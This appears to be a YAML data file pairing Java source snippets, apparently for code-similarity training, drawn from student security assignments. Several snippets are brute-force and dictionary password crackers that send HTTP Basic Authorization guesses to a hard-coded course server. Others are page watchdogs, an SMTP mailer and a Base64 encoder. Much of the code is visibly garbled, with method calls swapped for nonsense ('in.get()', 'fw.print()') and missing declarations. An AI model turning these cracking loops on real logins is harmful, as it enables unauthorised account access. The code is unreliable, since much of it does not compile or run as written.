    \        respCode = huc.getResponseCode();\n         InputStream content = huc.getInputStream();\n\
    \         BufferedReader in = \n            new BufferedReader (new InputStreamReader\
    \ (content));\n         String line;\n         while ((line = in.readLine()) !=\
    \ null) \n         {\n            pw.println(line);\n         }\n      } catch\
    \ (IOException e) {\n         pw.println(\"Error  URL\");\n      }\n      return\
    \ sw.toString();\n   }\n            \n   class DictionaryAuthenticator extends\
    \ Authenticator \n   {\n      private String username = \"\";\n\n      protected\
    \ PasswordAuthentication getPasswordAuthentication()\n      {\n         return\
    \ new PasswordAuthentication(username,generatePassword());\n      }\n\n      protected\
    \ char[] generatePassword()\n      {\n         String word = null;\n         int\
    \ chars;\n         char c[] = null;\n \n         chars = 0;\n       \n       \
    \  if(f_counter == 0) \n         \n         \n         { \n            try\n \
    \           {\n               \n               {\n                  word = buf.readLine();\n\
    \                  if(word != null)\n                  {\n                   \
    \  length = word.length();\n                     chars = 0;\n                \
    \     for(int i=0; i<length; i++)\n                     {\n                  \
    \      if(Character.isLetter(word.charAt(i))) chars++;\n                     }\n\
    \                  }\n               }\n               while( word != null &&\
    \ (length > 3 || chars != length));\n\n            }\n            catch (IOException\
    \ ioe)\n            {\n               System.out.println(\"IO Error: \" + ioe);\n\
    \            }\n\n            if(word != null)\n            {\n              \
    \ c = word.toCharArray(); \n               password = new String(c);\n       \
    \     } \n            else\n            {\n               System.out.println(\"\
    \ more words in dictionary\");\n               System.exit(0);\n            }\n\
    \n            f_counter++;\n         } \n         else\n         \n         {\n\
    \            c = password.toCharArray(); \n            for(int i=0; i< length;\
    \ i++)\n            {\n               if(Character.isLowerCase(c[i]))\n      \
    \         {\n                  c[i] = Character.toUpperCase(c[i]);\n         \
    \      }\n               else\n               {\n                  c[i] = Character.toLowerCase(c[i]);\n\
    \               }\n            }\n            password = new String(c);\n    \
    \        f_counter = 0;\n         }\n\n         t_counter++;\n\n         return\
    \ c;\n      }\n   }\n}\n"
  sentences:
  - "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport\
    \ javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\
    import javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\
    \tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper()\
    \ {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\
    \t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\
    Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\
    \treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\
    \ throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\
    \n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"\
    /dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n"
  - "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\
    \npublic class BruteForce extends Thread\n{\n   private static final String USERNAME\
    \ = \"\";\n   private static final char [] POSSIBLE_CHAR =\n        {'a', 'b',\
    \ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n         'n', 'o', 'p',\
    \ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n         'A', 'B', 'C', 'D',\
    \ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n         'N', 'O', 'P', 'Q', 'R',\
    \ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n   private static int NUMBER_OF_THREAD\
    \ = 500;\n\n   private static Date startDate = null;\n   private static Date endDate\
    \ = null;\n\n   private String address;\n   private String password;\n\n   public\
    \ BruteForce(String address, String password)\n   {\n      this.address = address;\n\
    \      this.password = password;\n   }\n\n   public static void main(String[]\
    \ args) throws IOException\n   {\n      if (args.length < 1)\n      {\n      \
    \   System.err.println(\"Invalid usage!\");\n         System.err.println(\"Usage:\
    \ java BruteForce <url>\");\n         System.exit(1);\n      }\n\n      try\n\
    \      {\n         brute(args[0], USERNAME);\n      }\n      catch(Exception e)\n\
    \      {\n         e.printStackTrace();\n         System.exit(1);\n      }\n \
    \  }\n\n   public static void brute(String address, String user)\n   {\n     \
    \ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n      int index =\
    \ 0;\n\n      startDate = new Date();\n      for(int i = 0; i < POSSIBLE_CHAR.length;\
    \ i++)\n      {\n         for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n    \
    \     {\n            for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n         \
    \   {\n               String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\
    \                                 POSSIBLE_CHAR[k];\n\n               if (threads[index]\
    \ != null && threads[index].isAlive())\n               {\n                  try\n\
    \                  {\n                     threads[index].join();\n          \
    \        }\n                  catch(InterruptedException e ) {}\n            \
    \   }\n               threads[index] = new BruteForce(address, password);\n  \
    \             threads[index].get();\n\n               index = (index++) % threads.length;\n\
    \            }\n         }\n      }\n   }\n\n   public void run()\n   {\n    \
    \  if (endDate != null)\n         return;\n\n      try\n      {\n\n         URLConnection\
    \ conn = (new URL(address)).openConnection();\n         conn.setDoInput(true);\n\
    \n         if (login(conn, USERNAME, password))\n         {\n            endDate\
    \ = new Date();\n            System.out.println(\"Found the password: \\\"\"+password+\"\
    \\\"!\");\n            SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\
    \ HH:mm:\");\n            System.out.println(\"Process started at: \"+format.format(startDate));\n\
    \            System.out.println(\"Process started at: \"+format.format(endDate));\n\
    \            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\
    \            System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n  \
    \          System.exit(0);\n         }\n         else\n         {\n          \
    \  System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n       \
    \     return;\n         }\n      }\n      catch(Exception e)\n      {\n      \
    \   e.printStackTrace();\n      }\n\n   }\n\n   public static boolean login(URLConnection\
    \ conn, String user, String pass)\n   {\n      try\n      {\n         String encodeAuth\
    \ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n         conn.setRequestProperty\
    \ (\"Authorization\", encodeAuth);\n         conn.connect();\n         conn.getInputStream();\n\
    \      }\n      catch(Exception e)\n      {\n         return false;\n      }\n\
    \      return true;\n   }\n}\n\n\n"
  - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n\
    {\n   private PrintWriter outputStream= null;\n   private String filename;\n \
    \  private FileWriter fw;\n\n   public storeNewFile(String fname)\n   {\n    \
    \  try\n      {\n       filename = fname;\n       outputStream=new PrintWriter(new\
    \ FileOutputStream(filename));\n      }\n      catch(FileNotFoundException e)\n\
    \      {\n\t    System.err.println(\"File \"+filename+\" was not found\");\n \
    \     }\n      catch(IOException e)\n      {\n        System.err.println(\"Error\
    \ \");\n      }\n   }\n   public void getStringW(StringWriter sw)\n   {\n    \
    \ outputStream.print(sw.toString());\n   }\n\n   public void closeStream()\n \
    \  {\n      outputStream.write();\n   }\n\n   public void translogFile(String\
    \ result)\n   {\n     String fileName = \"TransactionLog.txt\";\n   \t try{\n\t\
    \    fw=new FileWriter(fileName,true);\n\t    fw.write(result);\n\t    fw.write('\\\
    n');\n\t    fw.print();\n   \t    System.out.println(\"Saved sucessfully\");\n\
    \     }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\"\
    );\n     }\n   }\n}"
- source_sentence: "import java.net.*; \nimport java.io.*; \nimport java.util.Vector;\n\
    import java.util.Date;\nimport java.security.*;\n\n\n\n\n\n\n\n\n\n\n\n  \npublic\
    \ class Dictionary { \n  public static BufferedReader in;\n  \n  \n  public static\
    \ void main(String[] args) throws Exception {   \n    String baseURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
    ;    \n    int count=0;\n    Date date = new Date();\n     startTime=date.getTime();\n\
    \    int LIMITINMINUTES=45;\n    int TIMELIMIT=LIMITINMINUTES*1000*60;\n    boolean\
    \ timedOut=false;\n    boolean found=false;\n   \n    \n    Vector dictionary=new\
    \ Vector(readWords());\n    System.out.println(\"Words in dictionary: \"+dictionary.size());\n\
    \ \n    \n    \n    \n    \n    \n    \n    while (found==false && timedOut==false\
    \ && dictionary.elementAt(count)!=null) {\n      \n      Date endDate = new Date();\n\
    \       endTime=endDate.getTime();    \n      if (endTime>(TIMELIMIT+startTime)){\n\
    \        System.out.println(\"Timed out\");\n        timedOut=true;\n      }\n\
    \      \n      String password = \"\";\n\n      \n      URL url = new URL(baseURL);\
    \ \n      String username=\"\";\n      password = dictionary.elementAt(count).toString();\
    \ \n\n      \n      String authString = username+\":\"+password;\n      String\
    \ encoding = new misc.BASE64Encoder().encode(authString.getBytes()); \n      System.out.print(\"\
    authString is: \"+authString);     \n      \n      URLConnection urlConnect=url.openConnection();\n\
    \n      \n      urlConnect.setRequestProperty(\"Authorization\",\" \"+encoding);\n\
    \n      String responseCode = urlConnect.getHeaderField(0);\n      System.out.print(\"\
    \ Response  is: \");\n      System.out.println(responseCode);\n\n      if (!responseCode.equals(\"\
    HTTP/1.1 401 Authorization Required\")) {\n        found=true;\n      }      \
    \    \n      if (found){ \n      \n        System.out.println(\"Password is: \"\
    +password);\n\n      }\n\n      Date foundDate = new Date();\n       foundTime=foundDate.getTime();\
    \  \n      foundTime=(foundTime-startTime);\n      System.out.println(\"Time taken\
    \ was : \"+foundTime+\" milliseconds\"); \n      count=count+1;\n    }\n  } \n\
    \  \n  \n  \n  \n  \n  public static Vector readWords() {   \n    String nextWord;\n\
    \    String lastWord=\"\";\n    Vector dict=new Vector();\n    try {\n      BufferedReader\
    \ in = new BufferedReader(new FileReader(\"words.txt\"));\n      while ((nextWord\
    \ = in.readLine())!=null) {\n\t\n        if (nextWord.length()>3) {\n        \
    \  nextWord=nextWord.substring(0,3);\n        }\n\t\n\tif (!lastWord.equals(nextWord)\
    \ && nextWord.length()>0){\n          lastWord = nextWord;\n\t  \n\t \n\t  dict.addElement(nextWord);\n\
    \n\t  \n\t  \n\t \n\t \n\t \n\n\t  \n\t \n\t \n\t    \n\t  \n\t   \n\t   \n\t\
    \   \n\t   \n\t   \n\n\t    \n\t   \n\t   \n\t  \n\t  \n\t  \n\t  \n\n\t    \n\
    \t   \n\t   \n\t      \n\t   \n\t   \n\t   \n\n\t      \n\t   \n\t    \n\t   \
    \ \n\n\t      \n\t    \n\t    \n\t    \n\n\t      \n\t    \n\t    \n\t    \n\t\
    \   \n\t\n\t}  \n      }  \n       System.out.println(\"File successfully loaded\"\
    );\t     \n    }  \n    catch (FileNotFoundException e1) {\n      System.out.println(\"\
    This program requires a dictionary of words called words.txt   in the same directory\
    \ as the program running, now exiting.\");\n      System.exit(0);\n    }\t\n \
    \   catch (IOException e2) {\n      System.out.println(\"IO Exception, exiting\"\
    );\n      System.exit(0);\n    }\t    \n    finally {\n      try {\n\tif (null!=in)\
    \ {\n          in.get();\n\t}\n      }\n      catch (IOException e3) {}\n    }\n\
    \    return dict;\n  } \n}  \n"
  sentences:
  - "package java.httputils;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\n\
    import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\n\
    import java.io.FileOutputStream;\nimport java.io.FileReader;\nimport java.io.IOException;\n\
    import java.io.OutputStream;\n\n\npublic class WatchDog\n{\n    protected final\
    \ int MILLIS_IN_HOUR = (60 * 60 * 1000);\n    protected int interval = 24;\n \
    \   protected String URL = \"http://www.cs.rmit.edu./students/\";\n    protected\
    \ String fileName = \"WatchDogContent.html\";\n    protected String command =\
    \ \"./alert_mail.sh\";\n    protected String savedContent;\n    protected String\
    \ retrievedContent;\n\n    \n    public WatchDog()\n    {\n        super();\n\
    \    }\n\n    \n    public void run() throws Exception\n    {\n        HttpRequestClient\
    \ client = null;\n        \n        \n        System.out.println(getClass().getName()\
    \ +\n                        \"Retrieving baseline copy of: \" + getURL());\n\
    \        client = new HttpRequestClient(getURL());\n        retrievedContent =\
    \ client.getContent().toString();\n\n        System.out.println(getClass().getName()\
    \ +\n                        \"Writing baseline content : \" + getFileName());\n\
    \        writeFile();\n\n        while (true)\n        {\n            \n     \
    \       System.out.println(getClass().getName() +\n                          \
    \  \" Sleeping for hours: \" + getInterval());\n            Thread.currentThread().sleep(MILLIS_IN_HOUR\
    \ * getInterval());\n\n            \n            System.out.println(getClass().getName()\
    \ +\n                            \" Retrieving: \" + getURL());\n\n          \
    \  client = new HttpRequestClient(getURL());\n            retrievedContent = client.getContent().toString();\n\
    \n            \n            System.out.println(getClass().getName() +\n      \
    \                      \"  saved copy: \" + getURL());\n            savedContent\
    \ = readFile();\n\n            \n            System.out.println(getClass().getName()\
    \ +\n                            \" Comparing saved and retrieved. \");\n    \
    \        if (!savedContent.equals(retrievedContent))\n            {\n        \
    \        \n                System.out.println(getClass().getName() +\n       \
    \                         \" Difference found. \");\n\n                writeTempFile();\n\
    \                runCommand();\n            }\n\n            \n            writeFile();\n\
    \        }\n    }\n\n\n    \n    public String runCommand()\n    {\n        String\
    \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n        try\n       \
    \ {\n            Runtime r = Runtime.getRuntime();\n            System.out.println(getClass().getName()\
    \ +\n            \" Executing: \" + cmd);\n\n            Process proc = r.exec(cmd);\n\
    \        }\n        catch (Exception e)\n        {\n            try\n        \
    \    {\n                Runtime r = Runtime.getRuntime();\n                Process\
    \ proc = r.exec(cmd);\n            }\n            catch (Exception ex)\n     \
    \       {\n                System.out.println(getClass().getName()\n         \
    \           + \" Could not run :\"\n                    + getCommand()\n     \
    \               + \" because : \"\n                    + ex.getMessage());\n \
    \           }\n        }\n\n        return \"Executed successfully\";\n    }\n\
    \n    \n    protected String readFile() throws FileNotFoundException\n    {\n\
    \        BufferedInputStream input = null;\n        FileInputStream file = null;\n\
    \        StringBuffer content = new StringBuffer();\n        try\n        {\n\
    \            file = new FileInputStream(getFileName());\n            \n      \
    \      input = new BufferedInputStream(file);\n            \n        }\n     \
    \   catch (FileNotFoundException x)\n        {\n            System.err.println(\"\
    File not found: \" + getFileName());\n            throw x;\n        }\n\n    \
    \    try\n        {\n            int ch;\n            while ((ch = input.get())\
    \ != -1)\n            {\n                content.append((char)ch);\n         \
    \   }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n\
    \        }\n        finally\n        {\n            if (input != null)\n     \
    \       {\n                try\n                {\n                    input.get();\n\
    \                    file.get();\n                }\n                catch (IOException\
    \ e)\n                {\n                }\n            }\n        }\n       \
    \ return content.toString();\n    }\n\n    \n    protected void writeFile() throws\
    \ Exception\n    {\n        OutputStream os = null;\n        try\n        {\n\
    \            os = new BufferedOutputStream(\n                     new FileOutputStream(getFileName(),\
    \ false));\n            os.write(getRetrievedContent().getBytes());\n        }\n\
    \        catch (FileNotFoundException e)\n        {\n            e.printStackTrace();\n\
    \            throw e;\n        }\n        catch (IOException e)\n        {\n \
    \           e.printStackTrace();\n            throw e;\n        }\n        finally\n\
    \        {\n            if (os != null)\n            {\n                try\n\
    \                {\n                    os.close();\n                }\n     \
    \           catch (IOException e)\n                {\n                }\n    \
    \        }\n        }\n    }\n\n    \n    protected void writeTempFile() throws\
    \ Exception\n    {\n        OutputStream os = null;\n        try\n        {\n\
    \            os = new BufferedOutputStream(\n                     new FileOutputStream(\"\
    .html\", false));\n            os.write(getRetrievedContent().getBytes());\n \
    \       }\n        catch (FileNotFoundException e)\n        {\n            e.printStackTrace();\n\
    \            throw e;\n        }\n        catch (IOException e)\n        {\n \
    \           e.printStackTrace();\n            throw e;\n        }\n        finally\n\
    \        {\n            if (os != null)\n            {\n                try\n\
    \                {\n                    os.close();\n                }\n     \
    \           catch (IOException e)\n                {\n                }\n    \
    \        }\n        }\n    }\n\n    public static void main(String[] args)\n \
    \   {\n        WatchDog watchDog = new WatchDog();\n\n        if (args.length\
    \ < 3)\n        {\n            watchDog.printUsage();\n        }\n\n        \n\
    \        System.out.println(watchDog.getClass().getName() +\n                \
    \        \": Initialising with \" +\n                        args[0] + \" \\n\"\
    \ +\n                        args[1] + \" \\n\" +\n                        args[2]\
    \ + \" \\n\");\n        watchDog.setURL(args[0]);\n        watchDog.setInterval(Integer.parseInt(args[1]));\n\
    \        watchDog.setCommand(args[2]);\n\n        \n        try\n        {\n \
    \           System.out.println(watchDog.getClass().getName() + \": Invoking the\
    \ run method.\");\n            watchDog.run();\n        }\n        catch (Exception\
    \ e)\n        {\n            e.printStackTrace();\n        }\n    }\n\n    public\
    \ String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n\
    \        s.append(\"** WatchDog proper usage **\\n\\n\");\n        s.append(\n\
    \            this.getClass().getName() +\n            \" <URL> <interval> <Command\
    \  execute>\\n\\n\");\n\n        return s.toString();\n    }\n\n    \n    public\
    \ String getCommand()\n    {\n        return command;\n    }\n\n    \n    public\
    \ String getFileName()\n    {\n        return fileName;\n    }\n\n    \n    public\
    \ int getInterval()\n    {\n        return interval;\n    }\n\n    \n    public\
    \ String getURL()\n    {\n        return URL;\n    }\n\n    \n    public void\
    \ setCommand(String string)\n    {\n        command = string;\n    }\n\n    \n\
    \    public void setFileName(String string)\n    {\n        fileName = string;\n\
    \    }\n\n    \n    public void setInterval(int i)\n    {\n        interval =\
    \ i;\n    }\n\n    \n    public void setURL(String string)\n    {\n        URL\
    \ = string;\n    }\n\n    \n    public String getRetrievedContent()\n    {\n \
    \       return retrievedContent;\n    }\n\n    \n    public String getSavedContent()\n\
    \    {\n        return savedContent;\n    }\n\n    \n    public void setRetrievedContent(String\
    \ string)\n    {\n        retrievedContent = string;\n    }\n\n    \n    public\
    \ void setSavedContent(String string)\n    {\n        savedContent = string;\n\
    \    }\n\n}\n"
  - "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic\
    \ class MyMail implements Serializable\n{\n\t\n\n\t\n\tpublic static final int\
    \ SMTPPort = 25;\n\n\t\n\tpublic static final char successPrefix = '2';\n\n\t\n\
    \tpublic static final char morePrefix = '3';\n\n\t\n\tpublic static final char\
    \ failurePrefix = '4';\n\n\t\n\n\t\n\tprivate static final String CRLF = \"\\\
    r\\n\";\n\n\t\n\tprivate String mailFrom = \"\";\n\n\t\n\tprivate String mailTo\
    \ = \"\";\n\n\t\n\tprivate String messageSubject = \"\";\n\n\t\n\tprivate String\
    \ messageBody = \"\";\n\n\t\n\tprivate String mailServer = \"\";\n\n\t\n\tpublic\
    \ MyMail ()\n\t{\n\t\t\n\t\tsuper();\n\t}\n\n\t\n\tpublic MyMail ( String serverName)\n\
    \t{\n\t\t\n\t\tsuper();\n\n\t\t\n\t\tmailServer = serverName;\n\t}\n\n\t\n\tpublic\
    \ String getFrom()\n\t{\n\t\treturn mailFrom;\n\t}\n\n\t\n\tpublic String getTo()\n\
    \t{\n\t\treturn mailTo;\n\t}\n\n\t\n\tpublic String getSubject()\n\t{\n\t\treturn\
    \ messageSubject;\n\t}\n\n\t\n\tpublic String getMessage()\n\t{\n\t\treturn messageBody;\n\
    \t}\n\n\t\n\tpublic String getMailServer()\n\t{\n\t\treturn mailServer;\n\t}\n\
    \n\t\n\tpublic void setFrom( String from )\n\t{\n\t\t\n\t\tmailFrom = from;\n\t\
    }\n\n\t\n\tpublic void setTo ( String To )\n\t{\n\t\t\n\t\tmailTo = To;\n\t}\n\
    \n\t\n\tpublic void setSubject ( String subject )\n\t{\n\t\t\n\t\tmessageSubject\
    \ = subject;\n\t}\n\n\t\n\tpublic void setMessage ( String msg )\n\t{\n\t\t\n\t\
    \tmessageBody = msg;\n\t}\n\n\t\n\tpublic void setMailServer ( String server )\n\
    \t{\n\t\t\n\t\tmailServer = server;\n\t}\n\n\t\n\tprivate boolean responseValid(\
    \ String response )\n\t{\n\t\t\n\n\t\t\n\t\tif (response.indexOf(\" \") == -1)\n\
    \t\t\t\n\t\t\treturn false;\n\n\t\t\n\t\tString cad = response.substring( 0, response.indexOf(\"\
    \ \"));\n\n\t\t\n\t\tcad = cad.toUpperCase();\n\n\t\t\n\t\tif (( cad.charAt(0)\
    \ == successPrefix ) ||\n\t\t    ( cad.charAt(0) == morePrefix )  )\n\t\t\t\n\t\
    \t\t\treturn true;\n\t\t\telse\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t}\n\n\t\n\
    \tpublic void sendMail()\n\t{\n\t\ttry {\n\t\tString response;\n\n\t\t\n\t\tSocket\
    \ mailSock = new Socket (mailServer, SMTPPort);\n\n\t\t\n\t\tBufferedReader bf\
    \ = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));\n\t\
    \tPrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));\n\
    \n\t\t\n\t\tSystem.out.println(\"1\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\
    \t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" +\
    \ response);\n\n\t\t\n\t\ttry\n\t\t{\n\t\t\tInetAddress addr = InetAddress.getLocalHost();\n\
    \n\t\t\tString localHostname = addr.getHostName();\n\t\t\t\n\t\t\tpout.print (\"\
    HELO \" + localHostname + CRLF);\n\t\t}\n\t\tcatch (UnknownHostException uhe)\n\
    \t\t{\n\t\t\t\n\t\t\tpout.print (\"HELO myhostname\"  + CRLF);\n\t\t}\n\n\t\t\n\
    \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"2\");\n\t\tresponse = bf.readLine();\n\
    \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\
    \ - \" + response);\n\n\t\t\n\t\tpout.println (\"MAIL From:<\" + mailFrom + \"\
    >\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"3\");\n\t\t\
    response = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\t\
    throw new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"RCPT\
    \ :<\" + mailTo + \">\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"\
    4\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response)\
    \ )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println\
    \ (\"DATA\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"5\"\
    );\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\
    \t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\t\n\t\tpout.println\
    \ (\"From: \" + mailFrom);\n\t\tpout.println (\": \" + mailTo);\n\t\tpout.println\
    \ (\"Subject: \" + messageSubject);\n\n\t\t\n\t\tpout.println ();\n\n\t\t\n\t\t\
    pout.println (messageBody);\n\n\t\t\n\t\tpout.println (\".\\n\\r\");\n\n\t\t\n\
    \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"6\");\n\t\tresponse = bf.readLine();\n\
    \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\
    \ - \" + response);\n\n\t\t\n\t\tpout.println (\"QUIT\");\n\n\t\t\n\t\tpout.flush();\n\
    \n\t\t\n\t\tmailSock.close();\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\
    \tSystem.out.println(ioe.getMessage());\n\t\t}\n\t}\n\n}"
  - "\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\npublic class WatchDog\n\
    {\n   private Vector init;\n   public WatchDog()\n   {\n      try\n      {\n \
    \     Runtime run = Runtime.getRuntime();\n      String command_line = \"lynx\
    \ http://www.cs.rmit.edu./students/ -dump\";\n      Process result = run.exec(command_line);\n\
    \      BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\
    \      String inputLine;\n      init = new Vector();\n      while ((inputLine\
    \ = in.readLine()) != null)\n      {\n         init.addElement(inputLine);\n \
    \     }\n     \n      }catch(Exception e)\n      {\n      }\n   }\n   public static\
    \ void main(String args[])\n   {\n     WatchDog wd = new WatchDog();\n     wd.nextRead();\n\
    \   }\n\n   public void nextRead()\n   {\n     while(true)\n     {\n      ScheduleTask\
    \ sch = new ScheduleTask(init);\n      if(sch.getFlag()!=0)\n      {\n       \
    \ System.out.println(\"change happen\");\n        WatchDog wd = new WatchDog();\n\
    \        wd.nextRead();\n      }\n     \n     }\n   }\n}"
- source_sentence: "import java.*;\nimport java.io.*;\npublic class C\n{\n    public\
    \ static void main (String [] args){\n    try{\n        \n        int m=0,n=0,w=0;\n\
    \        String file = \"passwd.\";\n        char ch1='A',ch2='A',ch3='A';\n \
    \       for(int i = 0 ; i < 26; i++ )\n        {\n          for(w=0;w<2;w++)\n\
    \          {\n           if (w==1)\n            i+=32;\n           for(int j =\
    \ 0; j< 26 ; j++)\n           {\n            for(n=0;n<2;n++)\n            {\n\
    \              if(n==1)\n                j+=32;\n            for(int k = 0; k<26\
    \ ; k++)\n               {\n                 for(m=0; m<2; m++)\n            \
    \     {\n                   if(m==1)\n                    k+=32;\n           \
    \         char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n     \
    \               String str = new String(data);\n                    System.out.println(str);\n\
    \                    FileWriter fr1 = new FileWriter(file,true);\n           \
    \         BufferedWriter in1 = new BufferedWriter(fr1);\n                    in1.write(str);\n\
    \                    in1.newLine();\n                    in1.print();\n      \
    \             if (k>=31)\n                       k-=32;\n                    \
    \ }\n                }\n             if(j>=31)\n              j=j-32;\n      \
    \        }\n           }\n           if(i>=31)\n              i-=32;\n       \
    \       }\n        }\n}\ncatch(IOException e)\n{\n  System.out.println(\"try\"\
    );\n}\n}\n}\n"
  sentences:
  - "\n\npublic class Base64 {\n\n\tfinal static String baseTable = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\
    ;\n\n\t\n\tpublic static String encode(byte[] bytes) {\n\n\t\tString tmp = \"\"\
    ;\n\t\tint i = 0;\n\t\tbyte pos; \n\n\t\tfor(i=0; i < (bytes.length - bytes.length%3);\
    \ i+=3) {\n\n\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\ttmp = tmp + baseTable.charAt(pos);\
    \ \n\n\t\t\tpos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); \n\
    \t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\n\t\t\tpos = (byte) (((bytes[i+1]\
    \ & 15) << 2) + ((bytes[i+2]  >> 6) & 3));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\
    \t\t\n\t\t\tpos = (byte) (((bytes[i+2]) & 63));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\
    \t\t\n\t\t\t\n\t\t\t\n\t\t\tif(((i+2)%56) == 0) {\n\t\t\t\ttmp = tmp + \"\\r\\\
    n\";\n\t\t\t}\n\t\t}\n\n\t\tif(bytes.length % 3 != 0) {\n\n\t\t\tif(bytes.length\
    \ % 3 == 2) {\n\n\t\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\t\ttmp =\
    \ tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte) (((bytes[i] & 3) << 4)\
    \ + ((bytes[i+1] >> 4) & 15)); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\
    \t\t\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i+1] & 15) << 2);\n\t\t\t\ttmp = tmp\
    \ + baseTable.charAt(pos);\n\t\t\t\n\t\t\t\ttmp = tmp + \"=\";\n\n\t\t\t} else\
    \ if(bytes.length % 3 == 1) {\n\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i] >> 2)\
    \ & 63); \n\t\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte)\
    \ ((bytes[i] & 3) << 4); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\
    \t\t\t\n\t\t\t\ttmp = tmp + \"==\";\n\t\t\t}\n\t\t}\n\t\treturn tmp;\n\n\t}\n\n\
    \t\n\tpublic static String encode(String src) {\n\t\t\n\t\treturn encode(src.getBytes());\t\
    \n\t}\n\n\tpublic static byte[] decode(String src) throws Exception {\n\n\t\t\
    byte[] bytes = null;\n\n\t\tStringBuffer buf = new StringBuffer(src);\n\n\t\t\n\
    \t\tint i = 0;\n\t\tchar c = ' ';\n\t\tchar oc = ' ';\n\t\twhile( i < buf.length())\
    \ {\t\t\t\n\t\t\toc = c; \n\t\t\tc = buf.charAt(i);\n\t\t\tif( oc == '\\r' &&\
    \ c == '\\n') {\n\t\t\t\tbuf.deleteCharAt(i);\n\t\t\t\tbuf.deleteCharAt(i-1);\n\
    \t\t\t\ti -= 2;\n\t\t\t} else if( c == '\\t') {\n\t\t\t\tbuf.deleteCharAt(i);\n\
    \t\t\t\ti --;\n\t\t\t} else if( c == ' ') {\n\t\t\t\ti --;\n\t\t\t}\n\t\t\ti++;\n\
    \t\t}\n\n\t\t\n\t\tif(buf.length() % 4 != 0) {\n\t\t\tthrow new Exception(\"Base64\
    \ decoding invalid length\");\n\t\t}\n\n\t\t\n\t\tbytes = new byte[3 * (buf.length()\
    \ / 4)];\n\t\t\n\t\t\n\t\tint index = 0;\n\t\t\n\t\t\n\t\tfor(i = 0; i < buf.length();\
